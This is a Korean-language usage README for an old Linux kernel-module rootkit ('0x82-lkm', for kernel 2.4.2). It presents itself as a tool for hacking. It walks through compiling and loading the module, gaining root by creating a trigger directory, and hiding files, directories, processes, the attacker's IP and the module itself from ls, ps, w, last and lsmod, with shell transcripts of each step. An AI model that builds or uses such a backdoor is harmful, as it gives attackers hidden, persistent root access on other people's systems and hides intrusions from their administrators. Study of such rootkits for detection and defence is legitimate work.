Linux LKM (Loadable Kernel Module) Backdoor for linux kernel v2.4.2 제 형편없는 영어실력을 뽑내기 보다는 쉽게 한글로 설명하는 편이 더 빠를 것 같습니다. :-) 우선 제 LKM(Loadable Kernel Module)을 사용해주셔서 감사(?)합니다. 이 tool은 보다 안전하고 완벽한 Hacking을 위해 제작된 것이라 할 수 있습니다. 현재는 최소한의 기능만을 지니고 있으며, 버전은 v0.2 입니다. 간단한 기능을 알아본 뒤 그 사용법에 대해 설명을 드리도록 하겠습니다. 구현된 기능은 다음과 같습니다. =-=-=- Functions -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 0x01. SetUID zer0 Backd00r (make directory). -. 특정 디렉토리 생성에 따른 권한 상승 (uid=0) 0x02. Directory hidden (directory not move). -. 디렉토리 통째 숨기기 기능 (숨김디렉 이동 불가) 0x03. File hidden (file not read). -. 파일 숨기기 기능 (특정파일 읽기 불가) 0x04. ls command spoof (file & dir not view). -. ls 명령 속이기 기능 (특정파일 & 디렉토리를 숨김) 0x05. ps command spoof (process not found). -. ps 명령 속이기 기능 (특정 프로세스를 숨김) 0x06. w, netstat, finger, last, lastlog commands spoof (ip not found). -. w, netstat, finget, last, lastlog 명령등 속이기 기능 (ip를 숨김) 0x07. hidden LKM Backdoor. -. 올라간 특정모듈 숨기기 기능 (특정모듈 읽기 불가) 위 기능들은 code 주석으로 표기해 두었습니다. 그럼 이번엔 사용법에 대해 설명하겠습니다. =-=-=- Usages -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Compile: bash-2.04# gcc -c 0x82-lkm.c Install: bash-2.04# insmod 0x82-lkm.o 구현된 속성(attribute): file - 파일 dir - 디렉토리 proc - 프로세스 ip - 공격자 IP mod - 공격자 모듈 cd 명령을 통해 이루어지는 LKM 리모콘기능: bash-2.04# cd 식별키-속성-숨길이름 (참고로, 식별키는 Default로 Compile시 x82 입니다.) - 특정 디렉토리 생성에 따른 권한 상승하기 (uid=0) - bash-2.04$ id uid=501(x82) gid=501(x82) groups=501(x82),10(wheel) bash-2.04$ mkdir x82-dir bash-2.04$ id uid=0(root) gid=0(root) euid=501(x82) groups=501(x82),10(wheel) bash-2.04$ Default로 설정값은 "x82-dir"로 잡혀있으며, 디렉토리명은 반드시 현재 숨김 디렉토리로 지정되어 있는 이름을 사용해야 합니다. - 숨김 디렉토리명 변경하기 - bash-2.04$ cd x82-dir-direct bash: cd: x82: No such file or directory bash-2.04$ id uid=501(x82) gid=501(x82) groups=501(x82),10(wheel) bash-2.04$ mkdir direct bash-2.04$ id uid=0(root) gid=0(root) euid=501(x82) groups=501(x82),10(wheel) bash-2.04$ 위를 자세히 보면 아시겠지만, cd 명령과 함께 인수로 "x82-dir-direct"로 넣은 것을 볼 수 있습니다. 인수는 다음과 같이 해석됩니다. x82-dir-direct: x82 (식별키) - dir (속성) - direct (숨길 이름) - 파일 숨기기 기능 (특정파일 읽기 불가) - 위의 디렉토리 숨기기와 같이 식별키와 속성, 숨길 이름을 순서대로 넣으면 파일과 디렉토리를 숨길 수 있습니다. bash-2.04$ touch testfile bash-2.04$ ls -al testfile -rw-rw-r-- 1 x82 x82 0 Apr 14 23:54 testfile bash-2.04$ cd x82-file-testfile bash: cd: x82: No such file or directory bash-2.04$ ls -al testfile bash-2.04$ cat testfile cat: testfile: No such file or directory bash-2.04$ - 프로세스 숨기기 기능 - 식별키와 속성, 숨길 이름을 조건에 맞추어 입력하면 다음과 같이 프로세스를 숨길수 있습니다. bash-2.04$ ps PID TTY TIME CMD 8364 pts/1 00:00:00 login 8442 pts/1 00:00:00 ps bash-2.04$ cd x82-proc-login bash: cd: x82: No such file or directory bash-2.04$ ps PID TTY TIME CMD 8443 pts/1 00:00:00 ps bash-2.04$ - 공격자 IP 숨기기 기능 - 식별키와 속성, 숨길 IP를 입력하면 다음과 같이 IP를 숨길 수 있습니다. (예) 공격자의 IP: 61.27.144.81 bash-2.04$ cd x82-ip-61.27.144.81 bash: cd: x82: No such file or directory bash-2.04$ w 12:11am up 6 days, 6:46, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT x82 pts/1 ............ 11:45pm 0.00s 0.09s 0.01s w bash-2.04$ lastlog x82 pts/1 ............ XXX XXX 14 23:45:29 +0900 2002 bash-2.04$ last x82 pts/1 ............ XXX XXX 14 23:45 still logged in x82 pts/1 ............ XXX XXX 14 23:43 - 23:45 (00:02) x82 pts/1 ............ XXX XXX 14 23:11 - 23:15 (00:03) wtmp begins XXX XXX 14 23:11:29 2002 bash-2.04$ 위와 같이 공격자의 IP가 전부 '.'(dot)으로 표시되어 버립니다. - LKM 특정 모듈 숨기기 - 기본적으로 0x82-lkm 모듈을 숨기도록 채택되어 있습니다. 이는 여러분들께서 쉽게 변경하실수 있습니다. bash-2.04# /sbin/lsmod | grep 0x82-lkm bash-2.04# /sbin/lsmod Module Size Used by 8139too 16512 1 (autoclean) usb-uhci 20752 0 (unused) usbcore 49728 1 [usb-uhci] bash-2.04# cd x82-mod-usbcore bash: cd: x82: No such file or directory bash-2.04# /sbin/lsmod | grep usbcore bash-2.04# 이로써, 공격자가 심어둔 LKM까지 완벽히 숨길 수 있습니다. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Linux 7.1 Kernel 2.4.2 대에서 test 해본 결과였습니다. 버전마다 test 해보지 못했기 때문에 문제점이 발생할 수 있습니다. Kernel이 down 되지 않도록 잘 돌보아주시기 바랍니다. :-) Author: Xpl017Elz in INetCop(c). E-mail: szoahc@hotmail.com & xploit@hackermail.com Home: http://x82.i21c.net